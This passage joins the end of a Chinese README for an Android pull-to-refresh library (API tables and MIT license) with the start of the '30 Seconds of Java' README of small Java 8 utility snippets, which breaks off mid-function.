|setRatioOfHeaderToRefresh|float|触发刷新时位置占Header视图的高度比(默认:`1.1f`)| |setRatioOfFooterToRefresh|float|触发加载更多时位置占Footer视图的高度比(默认:`1.1f`)| |setRatioToKeep|float|刷新中保持视图位置占刷新视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |setRatioToKeepHeader|float|刷新中保持视图位置占Header视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |setRatioToKeepFooter|float|刷新中保持视图位置占Footer视图的高度比(默认:`1f`),该属性的值必须小于等于触发刷新高度比才会有效果| |setMaxMoveRatio|float|最大移动距离占刷新视图的高度比(默认:`0f`,表示不会触发)| |setMaxMoveRatioOfHeader|float|最大移动距离占Header视图的高度比(默认:`0f`,表示不会触发)| |setMaxMoveRatioOfFooter|float|最大移动距离占Footer视图的高度比(默认:`0f`,表示不会触发)| |setDurationToClose|int|指定收缩刷新视图到起始位置的时长(默认:`350`)| |setDurationToCloseHeader|int|指定收缩Header视图到起始位置的时长(默认:`350`)| |setDurationToCloseFooter|int|指定收缩Footer视图到起始位置的时长(默认:`350`)| |setDurationOfBackToKeep|integer|设置回滚到保持刷新视图位置的时间(默认:`200`)| |setDurationOfBackToKeepHeader|integer|设置回滚到保持Header视图位置的时间(默认:`200`)| |setDurationOfBackToKeepFooter|integer|设置回滚到保持Footer视图位置的时间(默认:`200`)| |setEnablePinContentView|boolean|固定内容视图(默认:`false`)| |setEnablePullToRefresh|boolean|拉动刷新,下拉或者上拉到触发刷新位置即立即触发刷新(默认:`false`)| |setEnableOverScroll|boolean|越界回弹(默认:`true`)| |setEnableInterceptEventWhileLoading|boolean|刷新中拦截不响应触摸操作(默认:`false`)| |setEnableHeaderDrawerStyle|boolean|Header抽屉样式,即Header视图在内容视图下面(默认:`false`)| |setEnableFooterDrawerStyle|boolean|Footer抽屉样式,即Footer视图在内容视图下面(默认:`false`)| |setDisablePerformRefresh|boolean|关闭触发Header刷新(默认:`false`)| |setDisablePerformLoadMore|boolean|关闭触发Footer刷新(默认:`false`)| |setEnableNoMoreData|boolean|设置Footer没有更多数据,该选项设置`true`时在Frame层等同`setDisablePerformLoadMore`设置为`true`,只是自定义视图可以根据该标志位改变视图样式,`ClassicFooter`默认实现了对该属性的支持(默认:`false`)| |setEnableNoMoreDataAndNoSpringBack|boolean|设置Footer没有更多数据且不再回弹| |setDisableRefresh|boolean|禁用Header刷新(默认:`false`)| |setDisableLoadMore|boolean|禁用Footer刷新(默认:`false`)| |setEnableKeepRefreshView|boolean|刷新中保持视图停留在所设置的应该停留的位置(默认:`true`)| |setEnableAutoRefresh|boolean|到顶部自动刷新(默认:`false`)| |setEnableAutoLoadMore|boolean|到底部自动加载(默认:`false`)| |setEnablePinRefreshViewWhileLoading|boolean|固定刷新视图在所设置的应该停留的位置,并且不响应移动,即Material样式(默认:`false`),设置开启会同时开启`setEnablePinContentView`和`setEnableKeepRefreshView`2个选项| |setSpringInterpolator|Interpolator|设置主动弹出时的滚动插值器| |setSpringBackInterpolator|Interpolator|设置释放时的滚动插值器| |setEnableCompatSyncScroll|boolean|设置是否开启回滚时的同步滚动(默认:`true`)| |setDisableLoadMoreWhenContentNotFull|boolean|设置当内容视图未满屏时关闭加载更多| |setStickyHeaderResId|int|设置黏贴头部视图的资源ID| |setStickyFooterResId|int|设置黏贴头部视图的资源ID| |setEnableOldTouchHandling|boolean|设置启用老版本的触摸事件处理逻辑| |setScrollTargetView|View|设置判断是否滚到到边界对应的视图,例如在SmoothRefreshLayout中有一个CoordinatorLayout,CoordinatorLayout中有AppbarLayout、RecyclerView等,加载更多时希望被移动的视图为RecyclerView而不是CoordinatorLayout,那么设置RecyclerView为TargetView即可| #### SmoothRefreshLayout 回调 |名称|参数|描述| |:---:|:---:|:---:| |setOnRefreshListener|T extends OnRefreshListener|设置刷新事件监听回调| |addLifecycleObserver|ILifecycleObserver|添加生命周期监听| |addOnStatusChangedListener|addOnStatusChangedListener|设置内部状态改变回调| |addOnUIPositionChangedListener|OnUIPositionChangedListener|添加视图位置变化的监听回调| |setOnSyncScrollCallback|OnSyncScrollCallback|设置完成刷新后进行平滑滚动的回调| |setOnPerformAutoLoadMoreCallBack|OnPerformAutoLoadMoreCallBack|设置触发自动加载更多的条件回调,如果回调的`canAutoLoadMore()`方法返回`true`则会立即触发加载更多| |setOnPerformAutoRefreshCallBack|OnPerformAutoRefreshCallBack|设置触发自动刷新的条件回调,如果回调的`canAutoRefresh()`方法返回`true`则会立即触发刷新| |setOnHeaderEdgeDetectCallBack|OnHeaderEdgeDetectCallBack|设置检查内容视图是否在顶部的重载回调(SmoothRefreshLayout内部`isNotYetInEdgeCannotMoveHeader()`方法)| |setOnFooterEdgeDetectCallBack|OnFooterEdgeDetectCallBack|设置检查内容视图是否在底部的重载回调(SmoothRefreshLayout内部`isNotYetInEdgeCannotMoveFooter()`方法)| |setOnHookHeaderRefreshCompleteCallback|OnHookUIRefreshCompleteCallBack|设置Header刷新完成的Hook回调,可实现延迟完成刷新| |setOnHookFooterRefreshCompleteCallback|OnHookUIRefreshCompleteCallBack|设置Footer刷新完成的Hook回调,可实现延迟完成刷新| #### SmoothRefreshLayout 其它 |名称|参数|描述| |:---:|:---:|:---:| |setDefaultCreator(静态方法)|IRefreshViewCreator|设置刷新视图创建者,如果没有特殊指定刷新视图且设置的模式需要刷新视图则会调用创建者构建刷新视图| |refreshComplete|无参|刷新完成,且设置最后一次刷新状态为成功| |refreshComplete|boolean|刷新完成,参数:设置最后一次刷新是否刷新成功| |refreshComplete|boolean,long|刷新完成,参数1:设置最后一次刷新是否刷新成功,参数2:设置延迟重置刷新状态的时间(会先触发刷新视图的刷新完成回调,但在延迟的时间内库实际上状态仍是刷新状态)| |refreshComplete|long|刷新完成,且设置最后一次刷新状态为成功,参数:设置延迟重置刷新状态的时间(会先触发刷新视图的刷新完成回调,但在延迟的时间内库实际上状态仍是刷新状态)| |setLoadingMinTime|long|设置开始刷新到结束刷新的最小时间差(默认:`500`),参数:时间差| |autoRefresh|无参|自动触发Header刷新,立即触发刷新事件并滚动到触发Header刷新位置| |autoRefresh|boolean|自动触发Header刷新,参数:是否立即触发刷新事件,会滚动到触发Header刷新位置| |autoRefresh|boolean,boolean|自动触发Header刷新,参数1:是否立即触发刷新事件,参数2:是否滚动到触发Header刷新位置| |forceRefresh|无参|强制触发Footer刷新,该方法不会触发滚动| |autoLoadMore|无参|自动触发Footer刷新,立即触发刷新事件并滚动到触发Footer刷新位置| |autoLoadMore|boolean|自动触发Footer刷新,参数:是否立即触发刷新事件,会滚动到触发Footer刷新位置| |autoLoadMore|boolean,boolean|自动触发Footer刷新,参数1:是否立即触发刷新事件,参数2:是否滚动到触发Footer刷新位置| |forceLoadMore|无参|强制触发Footer刷新,该方法不会触发滚动| #### TwoLevelSmoothRefreshLayout java属性设置方法 |名称|参数|描述| |:---:|:---:|:---:| |setRatioOfHeaderToHintTwoLevel|float|设置触发二级刷新提示时的位置占Header视图的高度比| |setRatioOfHeaderToTwoLevel|float|设置触发二级刷新时的位置占Header视图的高度比| |setRatioToKeepTwoLevelHeader|float|二级刷新中保持视图位置占Header视图的高度比(默认:`1f`)| |setDisableTwoLevelRefresh|boolean|设置是否关闭二级刷新(默认:`false`)| |setDurationOfBackToKeepTwoLevel|int|设置回滚到保持二级刷新Header视图位置的时间(默认:`500`)| |setDurationToCloseTwoLevel|int|设置二级刷新Header刷新完成回滚到起始位置的时间(默认:`500`)| #### TwoLevelSmoothRefreshLayout 其它 |名称|参数|描述| |:---:|:---:|:---:| |autoTwoLevelRefreshHint|无参|自动触发二级刷新提示并滚动到触发提示位置后回滚回起始位置| |autoTwoLevelRefreshHint|int|自动触发二级刷新提示并滚动到触发提示位置后停留指定时长,参数:停留多长时间| |autoTwoLevelRefreshHint|boolean|自动触发二级刷新提示是否滚动到触发提示位置后回滚回起始位置,参数:是否滚到到触发位置| |autoTwoLevelRefreshHint|boolean,int|自动触发二级刷新提示,参数1:是否滚动到触发位置,参数2:停留多长时间| |autoTwoLevelRefreshHint|boolean,int,boolean|自动触发二级刷新提示,参数1:是否滚动到触发位置,参数2:停留多长时间,参数3:是否可以被触摸打断,即触发提示动作过程中拦截触摸事件,直到回滚到起始位置并重置为默认状态| ## Thanks - [liaohuqiu android-Ultra-Pull-To-Refresh](https://github.com/liaohuqiu/android-Ultra-Pull-To-Refresh) - [pnikosis material-progress](https://github.com/pnikosis/materialish-progress) ## License MIT License Copyright (c) 2017 dkzwm Copyright (c) 2015 liaohuqiu.net Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
0
shekhargulati/30-seconds-of-java
Curated collection of useful little Java functions that you can understand quickly
awesome awesome-list java learn-to-code snippets snippets-collection
# 30 Seconds Of Java [![Build Status](https://travis-ci.org/shekhargulati/little-java-functions.svg?branch=master)](https://travis-ci.org/shekhargulati/little-java-functions) > Curated collection of useful little Java 8 functions that you can understand quickly. ## Table of Contents ### Array <details> <summary>View contents</summary> * [`chunk`](#chunk) * [`countOccurrences`](#countoccurrences) * [`deepFlatten`](#deepflatten) * [`difference`](#difference) * [`differenceWith`](#differencewith) * [`distinctValuesOfArray`](#distinctvaluesofarray) * [`dropElements`](#dropelements) * [`dropRight`](#dropright) * [`everyNth`](#everynth) * [`filterNonUnique`](#filternonunique) * [`flatten`](#flatten) * [`flattenDepth`](#flattendepth) * [`groupBy`](#groupby) * [`head`](#head) * [`initial`](#initial) * [`initializeArrayWithRange`](#initializearraywithrange) * [`initializeArrayWithValues`](#initializearraywithvalues) * [`intersection`](#intersection) * [`isSorted`](#issorted) * [`join`](#join) * [`nthElement`](#nthelement) * [`pick`](#pick) * [`reducedFilter`](#reducedfilter) * [`remove`](#remove) * [`sample`](#sample) * [`sampleSize`](#samplesize) * [`shuffle`](#shuffle) * [`similarity`](#similarity) * [`sortedIndex`](#sortedindex) * [`symmetricDifference`](#symmetricdifference) * [`tail`](#tail) * [`take`](#take) * [`takeRight`](#takeright) * [`union`](#union) * [`without`](#without) * [`zip`](#zip) * [`zipObject`](#zipobject) </details> ### Math <details> <summary>View contents</summary> * [`average`](#average) * [`gcd`](#gcd) * [`lcm`](#lcm) * [`findNextPositivePowerOfTwo`](#findnextpositivepoweroftwo) * [`isEven`](#iseven) * [`isPowerOfTwo`](#ispoweroftwo) * [`generateRandomInt`](#generaterandomint) </details> ### String <details> <summary>View contents</summary> * [`anagrams`](#anagrams) * [`byteSize`](#bytesize) * [`capitalize`](#capitalize) * [`capitalizeEveryWord`](#capitalizeeveryword) * [`countVowels`](#countvowels) * [`escapeRegExp`](#escaperegexp) * [`fromCamelCase`](#fromcamelcase) * [`isAbsoluteURL`](#isabsoluteurl) * [`isLowerCase`](#islowercase) * [`isUpperCase`](#isuppercase) * [`isPalindrome`](#ispalindrome) * [`isNumeric`](#isnumeric) * [`mask`](#mask) * [`reverseString`](#reversestring) * [`sortCharactersInString`](#sortcharactersinstring) * [`splitLines`](#splitlines) * [`toCamelCase`](#tocamelcase) * [`toKebabCase`](#tokebabcase) * [`match`](#match) * [`toSnakeCase`](#tosnakecase) * [`truncateString`](#truncatestring) * [`words`](#words) * [`stringToIntegers`](#stringtointegers) </details> ### IO <details> <summary>View contents</summary> * [`convertInputStreamToString`](#convertinputstreamtostring) * [`readFileAsString`](#readfileasstring) * [`getCurrentWorkingDirectoryPath`](#getcurrentworkingdirectorypath) * [`tmpDirName`](#tmpdirname) </details> ### Exception <details> <summary>View contents</summary> * [`stackTraceAsString`](#stacktraceasstring) </details> ### System <details> <summary>View contents</summary> - [`osName`](#osname) - [`isDebuggerEnabled`](#isdebuggerenabled) </details> ### Class <details> <summary>View contents</summary> - [`getAllInterfaces`](#getallinterfaces) - [`IsInnerClass`](#isinnerclass) </details> ### Enum <details> <summary>View contents</summary> - [`getEnumMap`](#getenummap) </details> ## Array ### chunk Chunks an array into smaller arrays of specified size. ```java public static int[][] chunk(int[] numbers, int size) { return IntStream.iterate(0, i -> i + size) .limit((long) Math.ceil((double) numbers.length / size)) .mapToObj(cur -> Arrays.copyOfRange(numbers, cur, cur + size > numbers.length ? numbers.length : cur + size)) .toArray(int[][]::new); } ``` ### concat ```java public static <T> T[] concat(T[] first, T[] second) { return Stream.concat( Stream.of(first), Stream.of(second) ).toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, first.getClass())); } ``` ### countOccurrences Counts the occurrences of a value in an array. Use Arrays.stream().filter().count() to count total number of values that equals the specified value. ```java public static long countOccurrences(int[] numbers, int value) { return Arrays.stream(numbers) .filter(number -> number == value) .count(); } ``` ### deepFlatten Deep flattens an array. Use recursion. Use Arrays.stream().flatMapToInt() ```java public static int[] deepFlatten(Object[] input) { return Arrays.stream(input) .flatMapToInt(o -> { if (o instanceof Object[]) { return Arrays.stream(deepFlatten((Object[]) o)); } return IntStream.of((Integer) o); }).toArray(); } ``` ### difference Returns the difference between two arrays. Create a Set from b, then use Arrays.stream().filter() on a to only keep values not contained in b. ```java public static int[] difference(int[] first, int[] second) { Set<Integer> set = Arrays.stream(second).boxed().collect(Collectors.toSet()); return Arrays.stream(first) .filter(v -> !set.contains(v)) .toArray(); } ``` ### differenceWith Filters out all values from an array for which the comparator function does not return true. The comparator for int is implemented using IntBinaryOperator function. Uses Arrays.stream().filter and Arrays.stream().noneMatch() to find the appropriate values. ```java public static int[] differenceWith(int[] first, int[] second, IntBinaryOperator comparator) { return Arrays.stream(first) .filter(a -> Arrays.stream(second) .noneMatch(b -> comparator.applyAsInt(a, b) == 0) ).toArray(); } ``` ### distinctValuesOfArray Returns all the distinct values of an array. Uses Arrays.stream().distinct() to discard all duplicated values. ```java public static int[] distinctValuesOfArray(int[] elements) { return Arrays.stream(elements).distinct().toArray(); } ``` ### dropElements Removes elements in an array until the passed function returns true. Returns the remaining elements in the array. Loop through the array, using Arrays.copyOfRange() to drop the first element of the array until the returned value from the function is true. Returns the remaining elements. ```java public static int[] dropElements(int[] elements, IntPredicate condition) { while (elements.length > 0 && !condition.test(elements[0])) { elements = Arrays.copyOfRange(elements, 1, elements.length); } return elements; } ``` ### dropRight Returns a new array with n elements removed from the right. Check if n is shorter than the given array and use Array.copyOfRange() to slice it accordingly or return an empty array. ```java public static int[] dropRight(int[] elements, int n) { if (n < 0) { throw new IllegalArgumentException("n is less than 0"); } return n < elements.length ? Arrays.copyOfRange(elements, 0, elements.length - n) : new int[0]; } ``` ### everyNth Returns every nth element in an array. Use IntStream.range().filter() to create a new array that contains every nth element of a given array. ```java public static int[] everyNth(int[] elements, int nth) { return IntStream.range(0, elements.length) .filter(i -> i % nth == nth - 1) .map(i -> elements[i]) .toArray(); } ``` ### indexOf Find index of element in the array. Return -1 in case element does not exist. Uses IntStream.range().filter() to find index of the element in the array. ```java public static int indexOf(int[] elements, int el) { return IntStream.range(0, elements.length) .filter(idx -> elements[idx] == el) .findFirst() .orElse(-1); } ``` ### lastIndexOf Find last index of element in the array. Return -1 in case element does not exist. Uses IntStream.iterate().limit().filter() to find index of the element in the array. ```java public static int lastIndexOf(int[] elements, int el) { return IntStream.iterate(elements.length - 1, i -> i - 1) .limit(elements.length) .filter(idx -> elements[idx] == el) .findFirst() .orElse(-1); } ``` ### filterNonUnique Filters out the non-unique values in an array. Use Arrays.stream().filter() for an array containing only the unique values. ```java public static int[] filterNonUnique(int[] elements) { return Arrays.stream(elements) .filter(el -> indexOf(elements, el) == lastIndexOf(elements, el)) .toArray(); } ``` ### flatten Flattens an array. Use Arrays.stream().flatMapToInt().toArray() to create a new array. ```java public static int[] flatten(Object[] elements) { return Arrays.stream(elements) .flatMapToInt(el -> el instanceof int[] ? Arrays.stream((int[]) el) : IntStream.of((int) el) ).toArray(); } ``` ### flattenDepth Flattens an array up to the specified depth. ```java public static Object[] flattenDepth(Object[] elements, int depth) { if (depth == 0) { return elements; } return Arrays.stream(elements) .flatMap(el -> el instanceof Object[] ? Arrays.stream(flattenDepth((Object[]) el, depth - 1)) : Arrays.stream(new Object[]{el}) ).toArray(); } ``` ### groupBy Groups the elements of an array based on the given function. Uses Arrays.stream().collect(Collectors.groupingBy()) to group based on the grouping function. ```java public static <T, R> Map<R, List<T>> groupBy(T[] elements, Function<T, R> func) { return Arrays.stream(elements).collect(Collectors.groupingBy(func)); } ``` ### initial Returns all the elements of an array except the last one. Use Arrays.copyOfRange() to return all except the last one ```java public static <T> T[] initial(T[] elements) { return Arrays.copyOfRange(elements, 0, elements.length - 1); } ``` ### initializeArrayWithRange Initializes an array containing the numbers in the specified range where start and end are inclusive. ```java public static int[] initializeArrayWithRange(int end, int start) { return IntStream.rangeClosed(start, end).toArray(); } ``` ### initializeArrayWithValues Initializes and fills an array with the specified values. ```java public static int[] initializeArrayWithValues(int n, int value) { return IntStream.generate(() -> value).limit(n).toArray(); } ``` ### intersection Returns a list of elements that exist in both arrays. Create a Set from second, then use Arrays.stream().filter() on a to only keep values contained in b. ```java public static int[] intersection(int[] first, int[] second) { Set<Integer> set = Arrays.stream(second).boxed().collect(Collectors.toSet()); return Arrays.stream(first) .filter(set::contains) .toArray(); } ``` ### isSorted Returns `1` if the array is sorted in ascending order, `-1` if it is sorted in descending order or `0` if it is not sorted. Calculate the ordering `direction` for the first two elements.Use for loop to iterate over array items and compare them in pairs. Return `0` if the `direction` changes or the `direction` if the last element is reached. ```java public static <T extends Comparable<? super T>> int isSorted(T[] arr) { final int direction = arr[0].compareTo(arr[1]) < 0 ? 1 : -1; for (int i = 0; i < arr.length; i++) { T val = arr[i]; if (i == arr.length - 1) return direction; else if ((val.compareTo(arr[i + 1]) * direction > 0)) return 0; } return direction; } ``` ### join Joins all elements of an array into a string and returns this string. Uses a separator and an end separator. Use IntStream.range to zip index with the array item. Then, use `Stream.reduce` to combine elements into a string. ```java public static <T> String join(T[] arr, String separator, String end) { return IntStream.range(0, arr.length) .mapToObj(i -> new SimpleEntry<>(i, arr[i])) .reduce("", (acc, val) -> val.getKey() == arr.length - 2 ? acc + val.getValue() + end : val.getKey() == arr.length - 1 ? acc + val.getValue() : acc + val.getValue() + separator, (fst, snd) -> fst); } ``` ### nthElement Returns the nth element of an array. Use `Arrays.copyOfRange()` to get an array containing the nth element at the first place. ```Java public static <T> T nthElement(T[] arr, int n) { if (n > 0) { return Arrays.copyOfRange(arr, n, arr.length)[0]; } return Arrays.copyOfRange(arr, arr.length + n, arr.length)[0]; } ``` ### pick Picks the key-value pairs corresponding to the given keys from an object. Use `Arrays.stream` to filter all the keys that are present in the `arr`. Then, convert all the keys present into a Map using `Collectors.toMap`. ```java public static <T, R> Map<T, R> pick(Map<T, R> obj, T[] arr) { return Arrays.stream(arr) .filter(obj::containsKey) .collect(Collectors.toMap(k -> k, obj::get)); } ``` ### reducedFilter Filter an array of objects based on a condition while also filtering out unspecified keys. Use `Arrays.stream().filter()` to filter the array based on the predicate `fn` so that it returns the objects for which the condition is true. For each filtered Map object, create a new Map with keys present in the `keys`. Finally, collect all the Map object into an array. ```java public static Map<String, Object>[] reducedFilter(Map<String, Object>[] data, String[] keys, Predicate<Map<String, Object>> fn) { return Arrays.stream(data) .filter(fn) .map(el -> Arrays.stream(keys).filter(el::containsKey) .collect(Collectors.toMap(Function.identity(), el::get))) .toArray((IntFunction<Map<String, Object>[]>) Map[]::new); } ``` ### sample Returns a random element from an array. Use `Math.random()` to generate a random number, multiply it by `length` and round it of to the nearest whole number using `Math.floor()`. This method also works with strings. ```java public static <T> T sample(T[] arr) { return arr[(int) Math.floor(Math.random() * arr.length)]; } ``` ### sampleSize Gets `n` random elements at unique keys from `array` up to the size of `array`. Shuffle the array using the [Fisher-Yates algorithm](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle). Use `Array.copyOfRange()` to get the first `n` elements. ```java public static <T> T[] sampleSize(T[] input, int n) { T[] arr = Arrays.copyOf(input, input.length); int length = arr.length; int m = length; while (m > 0) { int i = (int) Math.floor(Math.random() * m--); T tmp = arr[i]; arr[i] = arr[m]; arr[m] = tmp; } return Arrays.copyOfRange(arr, 0, n > length ? length : n); } ``` ### shuffle Randomizes the order of the values of an array, returning a new array. Uses the [Fisher-Yates algorithm](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle) to reorder the elements of the array. ```java public static <T> T[] shuffle(T[] input) { T[] arr = Arrays.copyOf(input, input.length); int length = arr.length; int m = length; while (m > 0) { int i = (int) Math.floor(Math.random() * m--); T tmp = arr[i]; arr[i] = arr[m]; arr[m] = tmp; } return arr; } ``` ### similarity Returns an array of elements that appear in both arrays. Use `Arrays.stream().filter()` to remove values that are not part of `second`, determined using `Arrays.stream().anyMatch()`. ```java public static <T> T[] similarity(T[] first, T[] second) { return Arrays.stream(first) .filter(a -> Arrays.stream(second).anyMatch(b -> Objects.equals(a, b))) // Make a new array of first's runtime type, but empty content: .toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, first.getClass())); } ``` ### sortedIndex Returns the lowest index at which value should be inserted into array in order to maintain its sort order. Check if the array is sorted in descending order (loosely). Use `IntStream.range().filter()` to find the appropriate index where the element should be inserted. ```java public static <T extends Comparable<? super T>> int sortedIndex(T[] arr, T el) { boolean isDescending = arr[0].compareTo(arr[arr.length - 1]) > 0; return IntStream.range(0, arr.length) .filter(i -> isDescending ? el.compareTo(arr[i]) >= 0 : el.compareTo(arr[i]) <= 0) .findFirst() .orElse(arr.length); } ``` ### symmetricDifference Returns the symmetric difference between two arrays. Create a `Set` from each array, then use `Arrays.stream().filter()` on each of them to only keep values not contained in the other. Finally, concatenate both arrays and create a new array and return it. ```java public static <T> T[] symmetricDifference(T[] first, T[] second) { Set<T> sA = new HashSet<>(Arrays.asList(first)); Set<T> sB = new HashSet<>(Arrays.asList(second)); return Stream.concat( Arrays.stream(first).filter(a -> !sB.contains(a)), Arrays.stream(second).filter(b -> !sA.contains(b)) ).toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, first.getClass())); } ``` ### tail Returns all elements in an array except for the first one. Return `Arrays.copyOfRange(1)` if the array's `length` is more than `1`, otherwise, return the whole array. ```java public static <T> T[] tail(T[] arr) { return arr.length > 1 ? Arrays.copyOfRange(arr, 1, arr.length) : arr; } ``` ### take Returns an array with n elements removed from the beginning. ```java public static <T> T[] take(T[] arr, int n) { return Arrays.copyOfRange(arr, 0, n); } ``` ### takeRight Returns an array with n elements removed from the end. Use `Arrays.copyOfRange()` to create a slice of the array with `n` elements taken from the end. ```java public static <T> T[] takeRight(T[] arr, int n) { return Arrays.copyOfRange(arr, arr.length - n, arr.length); } ``` ### union Returns every element that exists in any of the two arrays once. Create a `Set` with all values of `a` and `b` and convert to an array. ```Java public static <T> T[] union(T[] first, T[] second) { Set<T> set = new HashSet<>(Arrays.asList(first)); set.addAll(Arrays.asList(second)); return set.toArray((T[]) Arrays.copyOf(new Object[0], 0, first.getClass())); } ``` ### without Filters out the elements of an array, that have one of the specified values. Use `Arrays.strean().filter()` to create an array excluding(using `!Arrays.asList(elements).contains()`) all given values. ```java public static <T> T[] without(T[] arr, T... elements) { List<T> excludeElements = Arrays.asList(elements); return Arrays.stream(arr) .filter(el -> !excludeElements.contains(el)) .toArray(i -> (T[]) Arrays.copyOf(new Object[0], i, arr.getClass())); } ``` ### zip Creates an array of elements, grouped based on the position in the original arrays. ```java public static List<Object[]> zip(Object[]... arrays) { OptionalInt max = Arrays.stream(arrays).mapToInt(arr -> arr.length).max(); return IntStream.range(0, max.getAsInt()) .mapToObj(i -> Arrays.stream(arrays) .map(arr -> i < arr.length ? arr[i] : null) .toArray()) .collect(Collectors.toList()); } ``` ### zipObject Given an array of valid property identifiers and an array of values, return an object associating the properties to the values. ```java public static Map<String, Object> zipObject(String[] props, Object[] values) { return IntStream.range(0, props.length) .mapToObj(i -> new SimpleEntry<>(props[i], i < values.length ? values[i] : null)) .collect( HashMap::new, (m, v) -> m.put(v.getKey(), v.getValue()), HashMap::putAll); } ``` ## Maths ### average Returns the average of an of two or more numbers. ```java public static double average(int[] arr) { return IntStream.of(arr) .average() .orElseThrow(() -> new IllegalArgumentException("Array is empty")); } ``` ### gcd Calculates the greatest common denominator (gcd) of an array of numbers. Use Arrays.stream().reduce() and the gcd formula (uses recursion) to calculate the greatest common denominator of an array of numbers. ```java public static OptionalInt gcd(int[] numbers) { return Arrays.stream(numbers) .reduce((a, b) -> gcd(a, b)); } private static int gcd(int a, int b) { if (b == 0) { return a; } return gcd(b, a % b); } ``` ### lcm Calculates the lowest common multiple (lcm) of an array of numbers. Use Arrays.stream().reduce() and the lcm formula (uses recursion) to calculate the lowest common multiple of an array of numbers. ```java public static OptionalInt lcm(int[] numbers) { IntBinaryOperator lcm = (x, y) -> (x * y) / gcd(x, y); return Arrays.stream(numbers) .reduce((a, b) -> lcm.applyAsInt(a, b)); } private static int gcd(int a, int b) { if (b == 0) { return a; } return gcd(b, a % b); } ``` ### findNextPositivePowerOfTwo Finds the next power of two greater than or equal to the value. This method uses left ship operator to shift 1 by the value on the right side. The right side is calculated using the `Integer.numberOfLeadingZeros` method. The `Integer.numberOfLeadingZeros` give the number of zeros leading the value. For example, calling `Integer.numberOfLeadingZeros(3)` would give value as 30. This is because 3 is represented in binary as `11`. As integer has 32 bits, so there are 30 bits with 0. The right side of the left shift operator becomes `32-30 = 2`. Left shifting 1 by 2 i.e. `001 << 2` would be `100`. `100` in decimal is equal to `4`. ```java public static int findNextPositivePowerOfTwo(int value) { return 1 << (32 - Integer.numberOfLeadingZeros(value - 1)); } ``` ### isEven Check if the number is even. This method uses bitwise & operator. The `0b1` is the binary representation of 1. Since, Java 7 you can write binary literals by prefixing them with either `0b` or `0B`. The & operator will return 0 when number is even. For example, `IsEven(4)` would result in `100` `&` `001`. The result of `&` will be `000`. ```java public static boolean isEven(final int value) { return (value & 0b1) == 0; } ``` ### isPowerOfTwo Checks if a value is positive power of two. To understand how it works let's assume we made a call `IsPowerOfTwo(4)`. As value is greater than 0, so right side of the `&&` operator will be evaluated. The result of `(~value + 1)` is equal to value itself. `~100 + 001` => `011 + 001` => `100`. This is equal to value. The result of `(value & value)` is value. `100` & `100` => `100`. This will value the expression to true as value is equal to value. ```Java public static boolean isPowerOfTwo(final int value) { return value > 0 && ((value & (~value + 1)) == value); } ``` ### generateRandomInt Generate a random integer between `Integer.MIN_VALUE` and `Integer.MAX_VALUE`. ```java public static int generateRandomInt() { return ThreadLocalRandom.current().nextInt(); } ``` ## String ### anagrams Generates all anagrams of a string (contains duplicates). ```java public static List<String> anagrams(String input) { if (input.length() <= 2) { return input.length() == 2 ? Arrays.asList(input, input.substring(1) + input.substring(0, 1)) : Collections.singletonList(input); } return IntStream.range(0, input.length()) .mapToObj(i -> new SimpleEntry<>(i, input.substring(i, i + 1))) .flatMap(entry -> anagrams(input.substring(0, entry.getKey()) + input.substring(entry.getKey() + 1)) .stream() .map(s -> entry.getValue() + s)) .collect(Collectors.toList()); } ``` ### byteSize Returns the length of a string in bytes. ```java public static int byteSize(String input) { return input.getBytes().length; } ``` ### capitalize Capitalizes the first letter of a string. ```Java public static String capitalize(String input, boolean lowerRest) { return input.substring(0, 1).toUpperCase() + (lowerRest ? input.substring(1, input.length()).toLowerCase() : input.substring(1, input.length())); } ``` ### capitalizeEveryWord Capitalizes the first letter of every word in a string. ```java public static String capitalizeEveryWord(final String input) { return Pattern.compile("\\b(?=\\w)").splitAsStream(input) .map(w -> capitalize(w, false)) .collect(Collectors.joining()); } ``` ### countVowels Retuns `number` of vowels in provided string. ```java public static int countVowels(String input) { return input.replaceAll("[^aeiouAEIOU]", "").length(); } ``` ### escapeRegExp Escapes a string to use in a regular expression. ```java public static String escapeRegExp(String input) { return Pattern.quote(input); } ``` ### fromCamelCase Converts a string from camelcase. ```java public static String fromCamelCase(String input, String separator) { return input .replaceAll("([a-z\\d])([A-Z])", "$1" + separator + "$2") .toLowerCase(); } ``` ### isAbsoluteUrl Returns `true` if the given string is an absolute URL, `false` otherwise. ```java public static boolean isAbsoluteUrl(String url) { return Pattern.compile("^[a-z][a-z0-9+.-]*:").matcher(url).find(); } ``` ### isLowerCase Checks if a string is lower case. ```java public static boolean isLowerCase(String input) { return Objects.equals(input, input.toLowerCase()); } ``` ### isUpperCase Checks if a string is upper case. ```java public static boolean isUpperCase(String input) { return Objects.equals(input, input.toUpperCase()); } ``` ### isPalindrome Checks if a string is palindrome. ```java public static boolean isPalindrome(String input) { String s = input.toLowerCase().replaceAll("[\\W_]", ""); return Objects.equals( s, new StringBuilder(s).reverse().toString() ); } ``` ### isNumeric Checks if a string is numeric. ```java public static boolean isNumeric(final String input) { return IntStream.range(0, input.length()) .allMatch(i -> Character.isDigit(input.charAt(i))); } ``` ### mask Replaces all but the last `num` of characters with the specified mask character. ```Java public static String mask(String input, int num, String mask) { int length = input.length(); return num > 0 ? input.substring(0, length - num).replaceAll(".", mask) + input.substring(length - num) : 